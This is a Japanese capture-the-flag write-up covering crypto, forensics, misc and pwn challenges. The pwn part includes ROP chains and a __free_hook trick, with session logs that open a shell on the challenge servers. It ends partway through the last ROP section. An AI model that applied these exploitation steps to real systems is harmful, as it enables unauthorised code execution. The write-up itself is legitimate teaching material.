import sympy from Crypto.Util.number import inverse, long_to_bytes N = 22255382023772668851018179427844169178508638456713544208965498667359965716247243217931028270320680101854437928939452335472153643094266035953797432826168426002458800906764442624308120284177094975740468163835305872963635678413995878812492729432260346481442092245748885202467992527408086207041964831622724073720751839241897580988210971776031098476500998975223039782371635291859483569580516707907602619018780393060215756966917504096971372578145138070121288608502379649804953835336933545368863853793291348412017384228807171466141787383764812064465152885522264261710104646819565161405416285530129398700414912821358924882993 M = 455054308184393892678058040417894434538147052966484655368629806848690951585316383741818991249942897131402174931069148907410409095241197004639436085265522674198117934494409967755516107042868190564732371162423204135770802585390754508661199283919569348449653439331457503898545517122035939648918370853985174413495 e = 65537 c = 17228720052381175899005296327529228647857019551986416863927209013417483505116054978735086007753554984554590706212543316457002993598203960172630351581308428981923248377333772786232057445880572046104706039330059467410587857287022959518047526287362946817619717880614820138792149370198936936857422116461146587380005750298216662907558653796277806259062461884502203484610534512552197338982682870358910558302016481352035443274153409114492025483995668048818103066011831955626539382173160900595378864729936791103356604330731386911513668727994911216530875480647283550078311836214338646991447576725034118526046292574067040720093 sympy.var('x') fx = -2*x**2 + M*x - N answers = sympy.solve(fx, x) for ans in answers: print('p =', ans) p = int(answers[1]) q = N // p phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, N) flag = long_to_bytes(m) print(flag)
$ python3 solve.py p = 142334186062265063219356604202944121242754649133715704144297972545346872221408855701425640596353771233387545377931080775413744238487922734779839556466413299896274963598187720052834744985690699039533532577445584533324042810567244036823175875348131212319476440307897156023046225832535991641744231454550103900877/2 p = 156360061061064414729350718107475156647696201916384475612165917151672039681953764020196675326794562949007314776569034065998332428376637134929798264399554687150921485448111123851340681028588745762599419292488809801223379887411755235919011704285719068065088499511780173937749645644749974003587069699717535256309 b' FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}\n'
FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}
OUCS
OUによるHomomorphicなCryptoSystemです
nc oucs.cry.wanictf.org 50010
cry-oucs.zip
実行すると、以下のようなメニューが表示される。フラグ以外の値を暗号化および復号することができる。
$ nc oucs.cry.wanictf.org 50010 .oooooo. ooooo ooo .oooooo. .oooooo..o d8P' `Y8b `888' `8' d8P' `Y8b d8P' `Y8 888 888 888 8 888 Y88bo. 888 888 888 8 888 `"Y8888o. 888 888 888 8 888 `"Y88b `88b d88' `88. .8' `88b ooo oo .d8P `Y8bood8P' `YbodP' `Y8bood8P' 8""88888P' ╭─────────────────────╮ │ 1. Encrypt flag │ │ 2. Encrypt │ │ 3. Decrypt │ │ 4. Show public key │ │ 5. Exit │ ╰─────────────────────╯ >
Homomorphic について検索してみると、準同型暗号 - Wikipedia に以下のように書かれていた。
二つの暗号文 が与えられたときに、平文や秘密鍵なしで を計算できる。ここで は、加法 や 乗法 のような二項演算子とする。
試しに、Enc(0x1) * Enc(0x2) を計算して復号したところ、0x3 と表示された。
よって、Enc(flag) * Enc(0x1) を復号し、その結果から 0x1 を減算すれば、元のフラグを求めることができる。
$ nc oucs.cry.wanictf.org 50010 .oooooo. ooooo ooo .oooooo. .oooooo..o d8P' `Y8b `888' `8' d8P' `Y8b d8P' `Y8 888 888 888 8 888 Y88bo. 888 888 888 8 888 `"Y8888o. 888 888 888 8 888 `"Y88b `88b d88' `88. .8' `88b ooo oo .d8P `Y8bood8P' `YbodP' `Y8bood8P' 8""88888P' ╭─────────────────────╮ │ 1. Encrypt flag │ │ 2. Encrypt │ │ 3. Decrypt │ │ 4. Show public key │ │ 5. Exit │ ╰─────────────────────╯ > 2 Enter your plaintext > 1 ciphertext = 0x24a79efd1893d36acf6fc4bbfa88439dbc82755a91adc3b0b4c8cb52d052cbd40851708eeab0cb49ce35e9cbec4891dc614f649738135834c2aded6e783e509dbaa4644220bb92655b4ca3bc19e7fe23ffbac8f464d1780139b25bfa068cb5d9ab316cfce4b3d933053f9bea7ca16568a0fa7896484c34a1efeb363bda1b0f915a273d5534ba79b323151d68275b4bc9ce224b571217de5e07d4669bc2cb20f30246a27caa088d8fbbc53e227657fa87f941a37d773b3e7789bedb9efee536eabf812cd7677ce691e553d5a94007180613a04d902daa9aaa7430bbcd69eb3fb1e6c1119b172fb010efd2b55f42f02fdfe0f40d3d28124b365f506c22c1a83f2a507f6e85edb565e6cc2dc59c10568d148761b4915ffff2cd3f12fe7a3a562329fc14f25609b5aaee0c0dfdb788f3abde01d76387399c2485f9f9c89aaf20ba986570822d215c64dad5fdb5069ebdc1b01ca0bf6054823e2f7d6e443fa094c54032266ab740dec9ecd7175f27118b42a0663624b83f4929455a207dad5b82aaf1 ╭─────────────────────╮ │ 1. Encrypt flag │ │ 2. Encrypt │ │ 3. Decrypt │ │ 4. Show public key │ │ 5. Exit │ ╰─────────────────────╯ > 2 Enter your plaintext > 2 ciphertext = 0x3722144289f317dafbd3f037288ae63e7c3ea369275a6b423fd45c27d1549e8ef0294ae718362d9778d8d31384338b43aeea8966fbedd9355e04b2b0b87378e3dece886120f33099c811f50e423c9ec79d9199ed2d831b0fb5d2dc3bae051a72ff56dd9f72260a498590579d6a185072af8875f47ef6e9aa4352562163d6395e204363cbde965b13c4c6b89618b65e3bf9e95eebad76d10c711ca8229672e0f4f7439ae49e97707e157048f1987555ca8eba555b563957e9060a348ec8f8092a924f3db266a4480b6feb27b292d73c18194f86cbff46567b81d8df403489466f9a28e591e2bf66aedfe2c746dc4a72d98d81510aef0dfaa1832d1036c1ce880f7a554c339c9584957af5a9a73265a66c491e955bd03c44f358a2bedc5de8daac7e98743d1a257419c76e3257f4fab1b289b71d7e02107e7b611f3fad9244fdaf7439b02786af752d9eebad66691057a7f8693694c87b7e779f6562bb03950235f99482f90e883ee5770bd4505f4dc91f07b1a05357cf55602253d9a06b00c0e7 ╭─────────────────────╮ │ 1. Encrypt flag │ │ 2. Encrypt │ │ 3. Decrypt │ │ 4. Show public key │ │ 5. Exit │ ╰─────────────────────╯ > 3 Enter your ciphertext > 1040774174773251124988568146951646413754293884494777742666536061894280705293528498559895971596879764012651716381920749330084066872937771978244340311638139158747699547473524035997770136767845297120420523041968622773545023216755327025642449817256832027000743781701381806654461981628857210252525714459085270669619270106994882674341710563230448003326301253137252592394891838212718473482521703252557855926886985309539405200407385661707132113800473557552972641282455189840044099466921506474278054287549214845417382815963342281917523913917735453174459761885197228755221531295334321645938305720035361776619080740010173139636749093600364512273120864448785020865717105975996773108590018817146826192022500053929622437048279634309962985743478958858990712035099005112751974405184230897918411516928053934094194010589677536216642180106347451752030746284930132274902996691488550775313390250222656839220442807885753003667177602581489563898165689551738555961695099083328535565888444455537719620191821095208713351424552947553762736552732990929277110400904150907530260033418316373309444765956464207349001674417362519582322176421704227999450949216113216365720418053241339155776422229062498780978157554838035964668357366034206121163148752051510151319150523746329840240591160414687914915853729271264800151185316458437655649744943513713270561821486185670265429521642567350760302264846975645417617911984580459082648691338699912690326968930455449143161226101181754359966084685498263648357185259620498416239877199334979300964041722081139634843539608233818791478004052666006289508511855528458818905147178559203389547085434953806966531702391941253715646821472757909026211937113761423383568949485337508006381535587447610914420522375393037255612940064490009661080208401211212286668565155939213254758644258428582736413019312642859245557032571730246094345834483977400431357816799095 plaintext = 0x3
スクリプトを書くと以下のようになる。
import nclib from Crypto.Util.number import long_to_bytes HOST = 'oucs.cry.wanictf.org' PORT = 50010 nc = nclib.Netcat((HOST, PORT)) nc.readuntil('> ') nc.sendline(b'1') # Encrypt flag enc_flag = int(nc.readline().decode().split('=')[-1], 16) print(f'enc_flag = 0x{enc_flag:x}') nc.readuntil('> ') nc.sendline(b'2') # Encrypt nc.readuntil('> ') nc.sendline(b'1') # Encrypt 0x1 enc_0x1 = int(nc.readline().decode().split('=')[-1], 16) print(f'enc_0x01 = 0x{enc_0x1:x}') enc_flag_0x1 = enc_flag * enc_0x1 print(f'enc_flag_0x01 = 0x{enc_flag_0x1:x}') nc.readuntil('> ') nc.sendline(b'3') # Decrypt nc.readuntil('> ') nc.sendline(hex(enc_flag_0x1).encode()) plaintext = int(nc.readline().decode().split('=')[-1], 16) print(f'plaintext = 0x{plaintext:x}') flag = long_to_bytes(plaintext - 0x1) print(flag)
実行すると、フラグを復号することができた。
$ python3 solve.py enc_flag = 0x4fb28062a733e9ede74add9df7abda0f562ff8a30cdada6a3fb8e11c2a9372d0d8871a1b6cc0bddaba52ceeed69ee6435ac52af4a0c326603cf44aa068445b044fe48e364648297072ddd6049a65ff8f9f8c72d3b4fd41b75eaee67202ba74ccf8311efb0c1e4f89bc14f3eb35585cc212ade2efcc864c7305d5225a62071febcf88678fa715455bc9885d3fc268ba8863c67f2a63898ed97167cfed9ff4451b03aa101c998cf9bd446299049ef82dbcabdc32a4febf137942fab08e2d053622feb359b264b32d092dbe725e9b0a5e81cd2e0b79bf5e4b334fc2c7d81a2fcbae2757a817a370d4aa37ba51ae5d645037276419c546855a6b0874b2b03dd0d59153ce30a2e8991a42f15f1041d694895c92ef1bbbabd0cb79bced32f225e894f755bc674ad8b09a41c8c52be66b4c3bc04a310ee399eb3db1de1be90f1ebc87782116b14fa65ca30072f410865fcb4555038464d996810b712cbaec7f3b7b5349c78fa34544b5c09232fc8aa8c5dd92ebe6455012b168aa8c85a4d772a4ff3c92 enc_0x01 = 0x2dd776c2bde704eb0b65b5b6d49826a57f1b0a994a6e7d7531f45891a93db7829c8817a1559c6fd08a7adc46f41dd65e966dc39cfb0dfa3c2fa96aa8a387e3e534cd9e32eb1bff5ab2103101a98827c8e0613521827f2233a4ea21e8a68fb63394e6d95c3062e55e3119b2a9dd91ed51c84952ce650dc2175e1fb35d88e90d82930cd007914a77b7dceee5c0958a085d82a31ba826371d8693cb6cdb1bef2960545e79b64d64099f1d57ed36d8f7deb72c46cc4d006e16bd125f772e7cf1cb40cec5710583b2b05a79c732435d302b4a7f6d90e35b4fe183f6c28223836d7ced08d434425ec91d16e54cef0dd3483a15c8ce3b182b9a3e29bebc78cdbf260b931e62ebdb138d9c21a71677a5ed7cf66c94239f1b7cdb46c2f40dce7d2d6cedbe709a1221e4d0b2c2f1975c196a7e47931ae117b7522525fdc6b7e786509390ba9c9303a65c76ee62b7477a409f2b47190424aa5f91f978ca6209689823b85e9247f59709e993fa57aec3bcd8a2a9289caab111d0ac4b4a9fa3d16243699fc4b1 enc_flag_0x01 = 0xe45747411d004ef908045f6b6cbd0ecdb2c03c62dde2b142c30a1fac68bbaa52288674d1aa2279b736f9b92a18038f1f13da4db910da18f0176077f34b1f0d88a02dd76f4649c0fbdb5b61ee0cc99f89c2692dcb73bf441e852b5244bd08033d21a7af1e87136b317c3259a8ca06a64ecdd510a3128c62b6394c55065a55568642b39e3a6beb0d27bc8e3311460de591646e0ebabb5b18101c0d2d6539ad8ef52d6a0a1f3bbfb217e3187c6a3e4d6cb13fb5dbde33ed8e0778b659277cd954b3aebf917d1cd7a1023b8607456508835df799d449aa1af7722d0b62eb34391c78c5eef215cfba52e4c79be846da65c2b31387f566db761dfcd0daae16303b20c0527821895aadac1587142438f8940afaf042247d2a3169f6719010856f51c93fe2e1fb37d55d1eb19825bb52d8cf04afa1602aa6b3beb2bdf52d5f403002667ee3e858ab851b597c23f888ff6a08e87a78f49f06300d3b9539cc88b2fef142fbc4f40c852221904862649779c2feed71adc6047124d1a6c8ea474efbe195a4731f13f1deecee872c0819429545b172950999a61a2f2bc75dda6d124774ea0cd731b61ac358244db51b9c71b77a62f18588b4e973b130ea73ea82c9fbe08e235a60a76cca56dd2f8680bb82625d224e35d59ec6fd696321f00aa01e1b73795e98e7a1eb29f0029e643072d2d4e536e639de2d2e8af4d6173e721c28de7335008f66f4defac958ff78ef00f776123959eb97438e956be12add45a4968cfb2bbef147f287d7ed897a0efd7e2b104a9769bc5d01547df75ffe5984f1af1bb377a6f56a993161fe3e45a9e7286709b09524f2cca51464ebe6ad99d32a54c25e3e1a9e11933a05f4453f19d39155f02a23d9ee48751a3aaaefad51f889dcefc2edb7603e1bf8d65263ad8152c7ceb12d9ad7f18f7a0e899176212644200e87262938dd00ab93a310f8542824eec896f150e4789a519ceba437e0879ee21ab17ecbb432f63f29404d7a14728154b9dc9f9b3ccdb9f59fab6651006abd6ee8c134f21b11c636e12af5182c11b96ea69c762a5de878df9676d1d7004befca52bff86a8f2 plaintext = 0x464c41477b4f555f643065735f6e30745f726570726535336e745f4f73616b615f556e69766572736974795f6275745f4f6b616d6f746f2d5563686979616d617e b'FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}'
FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}
Forensics
presentation
このままじゃFLAGをプレゼンできない...
for-presentation.zip
presentation.ppsx を zip として展開し、FLAG
という文字列が含まれるファイルを探索してみると、./ppt/slides/slide1.xml に含まれていることが分かった。
$ find . -type f | xargs strings -f | grep FLAG | less -S ./ppt/slides/slide1.xml: 3"><a:extLst><a:ext uri="{FF2B5EF4-FFF2-40B4-BE49-F238E27FC236}"><a16:creationId xmlns:a16="http://schemas.microsoft.com/office/drawing/2014/main" id="{D20E0E16-856A-4D90-B526-357B102A98A1}"/></a:ext></a:extLst></p:cNvPr><p:cNvSpPr txBox="1"/><p:nvPr/></p:nvSpPr><p:spPr><a:xfrm><a:off x="0" y="2716696"/><a:ext cx="12192000" cy="769441"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom><a:noFill/></p:spPr><p:txBody><a:bodyPr wrap="square" rtlCol="0"><a:spAutoFit/></a:bodyPr><a:lstStyle/><a:p><a:pPr algn="ctr"/><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>FLAG{</a:t></a:r><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0" err="1"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>you_know_how_to_edit_ppsx</a:t></a:r><a:r><a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:rPr><a:t>}</a:t></a:r><a:endParaRPr kumimoji="1" lang="ja-JP" altLang="en-US" sz="4400" b="1" dirty="0"><a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/><a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/></a:endParaRPr></a:p></p:txBody></p:sp><p:sp><p:nvSpPr><p:cNvPr id="5" name="
該当するタグを抜き出して整形すると、以下のようになっており、フラグが書かれていた。
<a:p> <a:pPr algn="ctr"/> <a:r> <a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"> <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> </a:rPr> <a:t>FLAG{</a:t> </a:r> <a:r> <a:rPr kumimoji="1" lang="en-US" altLang=gg"ja-JP" sz="4400" b="1" dirty="0" err="1"> <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> </a:rPr> <a:t>you_know_how_to_edit_ppsx</a:t> </a:r> <a:r> <a:rPr kumimoji="1" lang="en-US" altLang="ja-JP" sz="4400" b="1" dirty="0"> <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> </a:rPr> <a:t>}</a:t> </a:r> <a:endParaRPr kumimoji="1" lang="ja-JP" altLang="en-US" sz="4400" b="1" dirty="0"> <a:latin typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> <a:ea typeface="Meiryo UI" panose="020B0604030504040204" pitchFamily="50" charset="-128"/> </a:endParaRPr> </a:p>
FLAG{you_know_how_to_edit_ppsx}
MixedUSB
USBにパーティションを設定したら、どこにFLAGを保存しているのかわからなくなってしまいました...
MixedUSB.img
ダウンロードしてきて、strings するだけ
$ strings MixedUSB.img | grep FLAG FLAG TXT FLAG{mixed_file_allocation_table}
secure document
本日の資料は以下を入力して圧縮しました。
the password for today is nani
for-secure-document.zip
flag_20210328.zip と password-generator の2つのファイルが与えられている。
flag_20210328.zip は、パスワード付きzipで暗号化されている。
password-generator は、以下のようになっていた。
::the:: Send, +wani return ::password:: Send, +c+t+f return ::for:: Send, {home}{right 3}{del}1{end}{left 2}{del}7 return ::today:: FormatTime , x,, yyyyMMdd SendInput, {home}{right 4}_%x% return ::is:: Send, _{end}{!}{!}{left} return :*?:ni:: Send, ^a^c{Esc}{home}password{:} {end} return
Google で "Send" "return" "FormatTime" "SendInput" "Esc"
と検索すると、AutoHotkey が出てきた。
以下のように作業を行ったところ、パスワードっぽい文字列が表示された。
- AutoHotkey をインストールする。
- password-generator を password-generator.ahk にリネームする。
- password-generator.ahk をダブルクリックで実行する。
- メモ帳等のテキストエディタを開く。
the password for today is nani
と入力すると、
password: Wan1_20210430_C7F!na!
と表示された。
20210430 のところは、作業を行った日付になっている。 zip 内のファイルの更新日時を確認してみると、2021-04-28 03:03 になっていた。
よって、flag_20210328.zip のパスワードは、Wan1_20210428_C7F!na!
だと判明した。
zip を展開して、画像ファイルを開いてみると、フラグが書かれていた。
FLAG{Nani!very_strong_password!}
illegal image
裏で画像がやり取りされているらしい
for-illegal-image.zip
画像がやり取りされているとのことなので、JPEG ヘッダの FFD8FFE0
で検索してみたところ、ICMP パケット内に JPEG ヘッダの値が見つかった。
複数の ICMP パケットに分割されているようなので、tshark で切り出して画像を抽出した。
$ tshark -r illegal_image.pcap -T fields -e data.data icmp.type==8 | tr -d "\n" | xxd -r -p > icmp_data.jpg
抽出した画像を開いてみると、フラグが書かれていた。
FLAG{ICMP_Exfiltrate_image}
slow
宇宙からメッセージが届きました。(※音量注意!)
for-slow.zip
slow.wav を聞いてみると、ピーピーピロリ―という音が初めに聞こえてくる。 また、宇宙、slow というキーワードから、アマチュア無線の画像通信で使用される SSTV(Slow Scan Television)だと分かる。
RX-SSTV を使って音声を画像に変換したところ、フラグが表示された。
※ 備考: VB-CABLE のような仮想オーディオデバイスでPC内音声をマイクに流してあげると、きれいな画像に変換させやすい。
FLAG{encoded_by_slow-scan_television}
Misc
binary
文字も所詮1と0の集合です。
sample.pyを参考に復号器を作ってみてください。
mis-binary.zip
binary.csv を CyberChef の From Binary で文字列に変換するだけ
FLAG{the_basic_knowledge_of_communication}
Git Master
https://hub.docker.com/r/wanictf21spring/nginx_on_ubuntu
ホームページをみんなで開発したいので、イメージを公開するです。
昔、秘密の文字列をコミットしたことがあるけど大丈夫だよね...?
DockerHub から pull してコンテナを起動させる。
$ docker pull wanictf21spring/nginx_on_ubuntu:latest $ docker run -it --rm -v /tmp:/tmp wanictf21spring/nginx_on_ubuntu:latest /bin/bash
.git ディレクトリをマウントしておいた /tmp 経由で取り出す。
$ find / -type d -name ".git" -not -path "/tmp/*" /var/www/.git $ cp -r /var/www/.git /tmp
git コマンドの cat-file を使ってすべてのファイルのデータを抽出する。
$ for object in `ls -la .git/objects/*/* | cut -d"/" -f3,4 | tr -d "/"`; do git cat-file -p $object; done > output.txt
strings で確認していくと、分割されたフラグの文字列が確認できた。
$ strings output.txt | grep FLAG FLAG{y0u_ $ strings output.txt # snip 100644 blob 60ca0b1f76d898f5c11a381592d5c37385bebea8 Flag.txt 040000 tree 2bfd1c362f310a7fbb2be6fd3546819d456b4499 assets 100644 blob 737f9d108236e05f619c40963e92285bb643663a favicon.ico 100644 blob 6e7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae index.html tree 79c413edb2d73bad622242e1644709f70b5da3d2 parent 058a5020310afc637ee59cf3dfc371d2be91b4d0 author wanictf21spring <wanictf21spring@gmail.com> 1618276482 +0900 committer wanictf21spring <wanictf21spring@gmail.com> 1618276482 +0900 initialization of html/index.html 100644 blob 737f9d108236e05f619c40963e92285bb643663a favicon.ico 100644 blob 6e7b9d9c4fab5ef27ede4568f557b0dff4e1b3ae index.html _m45t3r} tree cb29ddc5d574be325a2485fbb71bc1f00ce7208c parent e4c9da8d153ceb2efdc7521ac71d522ca7ca5fb7 author wanictf21spring <wanictf21spring@gmail.com> 1618276494 +0900 committer wanictf21spring <wanictf21spring@gmail.com> 1618276494 +0900 initialization of html/favicon.ico tree 6a784d9649db84ce32196cfc5091303a87042467 author okayu1230z <okayu000z@yahoo.co.jp> 1618276440 +0900 committer okayu1230z <okayu000z@yahoo.co.jp> 1618276440 +0900 initialization of Dockerfile 100644 blob 14a76c6030cf11b6241f0df80480ce5cdf3db695 main.css 4r3_p3rf3c7_g1t 100644 blob 428833073ab18a3890a89de8c8066969baa0a295 Dockerfile 100644 blob 6919be129dd806595762632b6ca24ebab8fe593e docker-compose.yml
FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}
ASK
Amplitude Shift Keying
mis-ask.zip
ask.csv の改行を削除して見てみると、0 や 1 が連続している箇所が多くみられた。
問題文から 0 と 1 を増幅させているのだと思われる。
よって、 CyberChef で ask.csv を以下のように変換してみると、フラグが表示された。
- 改行を削除する。
0000000000000000000000000000000
を 0 に変換する。1111111111111111111111111111111
を 1 に変換する。- バイナリを文字列に変換する。
- strings で可読文字列のみ抽出する。
CyberChef レシピ
Remove_whitespace(true,true,true,true,true,false) Find_/_Replace({'option':'Regex','string':'[0]{31}'},'0',true,false,true,false) Find_/_Replace({'option':'Regex','string':'[1]{31}'},'1',true,false,true,false) From_Binary('Space',8) Strings('Single byte',4,'Alphanumeric + punctuation (A)',false)
FLAG{als0-k0own-4s-0n-0ff-key1ng}
Manchester
Manchester Encoding
mis-manchester.zip
Manchester Encoding について調べてみると、Clock に合わせて 2bit ずつ XOR を取るらしいということが分かった。
よって、ASK と同じように 0 と 1 の増幅を戻した後、 CyberChef で以下のように変換すると、フラグが表示された。
- 00 を削除する
- 10 と 11 を 1 に変換する
- 01 を 0 に変換する
- バイナリを文字列に変換する。
- strings で可読文字列のみ抽出する。
CyberChef レシピ
Remove_whitespace(true,true,true,true,true,false) Find_/_Replace({'option':'Regex','string':'[0]{31}'},'0',true,false,true,false) Find_/_Replace({'option':'Regex','string':'[1]{31}'},'1',true,false,true,false) Regular_expression('User defined','[01]{2}',true,true,false,false,false,false,'List matches') Find_/_Replace({'option':'Regex','string':'00'},'',true,false,true,false) Find_/_Replace({'option':'Regex','string':'10|11'},'1',true,false,true,false) Find_/_Replace({'option':'Regex','string':'01'},'0',true,false,true,false) From_Binary('Space',8) Strings('Single byte',4,'Alphanumeric + punctuation (A)',false)
FLAG{avoiding-consective-ones-and-zeros}
Pwn
01 netcat
nc netcat.pwn.wanictf.org 9001
・netcat (nc)と呼ばれるコマンドを使うだけです。
・つないだら何も出力されなくても知っているコマンドを打ってみましょう。使用ツール例
・netcat (nc)gccのセキュリティ保護
・Full RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)有効
pwn-01-netcat.zip
netcat で接続すると、シェルにアクセスすることができた。
$ nc netcat.pwn.wanictf.org 9001 congratulation! please enter "ls" command ls chall flag.txt redir.sh cat flag.txt FLAG{this_is_the_same_netcat_problem_as_previous_one}
FLAG{this_is_the_same_netcat_problem_as_previous_one}
03 rop machine easy
nc rop-easy.pwn.wanictf.org 9003
ヒント
・ropでsystem("/bin/sh")を実行して下さい。
・"/bin/sh"のアドレスは提供されています
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
・netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効
pwn-03-rop-machine-easy.zip
system("/bin/sh")
が実行されるようにROPを組むだけ
$ nc rop-easy.pwn.wanictf.org 9003 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "system" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 404070 0x0000000000404070 is appended > 3 "system" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | system | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{this-is-simple-return-oriented-programming}
FLAG{this-is-simple-return-oriented-programming}
04 rop machine normal
nc rop-normal.pwn.wanictf.org 9004
ヒント
・ropでexecve("/bin/sh", 0, 0)を実行して下さい。
・"/bin/sh"のアドレスは提供されています
・execveのsyscall番号は0x3bです。
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
・netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効
pwn-04-rop-machine-normal.zip
execve("/bin/sh", 0, 0)
が実行されるように ROP を組むだけ
$ nc rop-normal.pwn.wanictf.org 9004 "/bin/sh" address is 0x404070 [menu] 1. append hex value 2. append "pop rdi; ret" addr 3. append "pop rsi; ret" addr 4. append "pop rdx; ret" addr 5. append "pop rax; ret" addr 6. append "syscall; ret" addr 8. show menu (this one) 9. show rop_arena 0. execute rop > 2 "pop rdi; ret" is appended > 1 hex value?: 404070 0x0000000000404070 is appended > 3 "pop rsi; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 4 "pop rdx; ret" is appended > 1 hex value?: 0 0x0000000000000000 is appended > 5 "pop rax; ret" is appended > 1 hex value?: 3b 0x000000000000003b is appended > 6 "syscall; ret" is appended > 0 rop_arena +--------------------+ | pop rdi; ret |<- rop start +--------------------+ | 0x0000000000404070 | +--------------------+ | pop rsi; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rdx; ret | +--------------------+ | 0x0000000000000000 | +--------------------+ | pop rax; ret | +--------------------+ | 0x000000000000003b | +--------------------+ | syscall; ret | +--------------------+ ls chall flag.txt redir.sh cat flag.txt FLAG{now-you-can-call-any-system-calls-with-syscall}
FLAG{now-you-can-call-any-system-calls-with-syscall}
02 free hook
nc free.pwn.wanictf.org 9002
ヒント
・free_hookの仕組みを理解する必要があります。
使用ツール例
・netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)無効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効
pwn-02-free-hook.zip
ソースコードを確認すると、以下のようになっている。
// snip void command() { int cmd; int index; int ret; print_menu(); cmd = get_int(); printf("index?[0-9]: "); index = get_int(); switch (cmd) { case 1: if (g_memos[index] != 0) { free(g_memos[index]); g_memos[index] = 0; } g_memos[index] = malloc(0x10); printf("memo?: "); ret = read(0, g_memos[index], 0x10 - 1); g_memos[index][ret] = 0; break; case 2: puts(g_memos[index]); break; case 9: free(g_memos[index]); g_memos[index] = 0; break; default: break; } } int main() { init(); __free_hook = system; while (1) { command(); list_memos(); } } // snip
__free_hook に system のアドレスが入っているので、malloc で確保した領域に /bin/sh
と書き込んで、free すれば system("/bin/sh")
を実行することができる。
$ nc free.pwn.wanictf.org 9002 1: add memo 2: view memo 9: del memo command?: 1 index?[0-9]: 0 memo?: /bin/sh [[[list memos]]] ***** 0 ***** /bin/sh 1: add memo 2: view memo 9: del memo command?: 9 index?[0-9]: 0 id uid=999(pwn) gid=999(pwn) groups=999(pwn) ls chall flag.txt redir.sh cat flag.txt FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}
05 rop machine hard
nc rop-hard.pwn.wanictf.org 9005
ヒント
・ROPgadgetコマンドの使い方を覚えましょう。
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
・netcat (nc)
・ROPgadget
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効
pwn-05-rop-machine-hard.zip
ROPgadget を使って、execve("/bin/sh", 0, 0)
の実行に必要なアドレスを収集する。
$ ROPgadget --binary pwn05 --re "pop rdi" Gadgets information ============================================================ 0x000000000040128a : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret 0x0000000000401287 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret 0x000000000040128d : mov ebp, esp ; pop rdi ; ret 0x000000000040128c : mov rbp, rsp ; pop rdi ; ret 0x000000000040128f : pop rdi ; ret 0x000000000040128b : push rbp ; mov rbp, rsp ; pop rdi ; ret Unique gadgets found: 6 $ ROPgadget --binary pwn05 --re "pop rsi" Gadgets information ============================================================ 0x0000000000401611 : pop rsi ; pop r15 ; ret Unique gadgets found: 1 $ ROPgadget --binary pwn05 --re "pop rdx" Gadgets information ============================================================ 0x0000000000401297 : cli ; push rbp ; mov rbp, rsp ; pop rdx ; ret 0x0000000000401294 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdx ; ret 0x000000000040129a : mov ebp, esp ; pop rdx ; ret 0x0000000000401299 : mov rbp, rsp ; pop rdx ; ret 0x000000000040129c : pop rdx ; ret 0x0000000000401298 : push rbp ; mov rbp, rsp ; pop rdx ; ret Unique gadgets found: 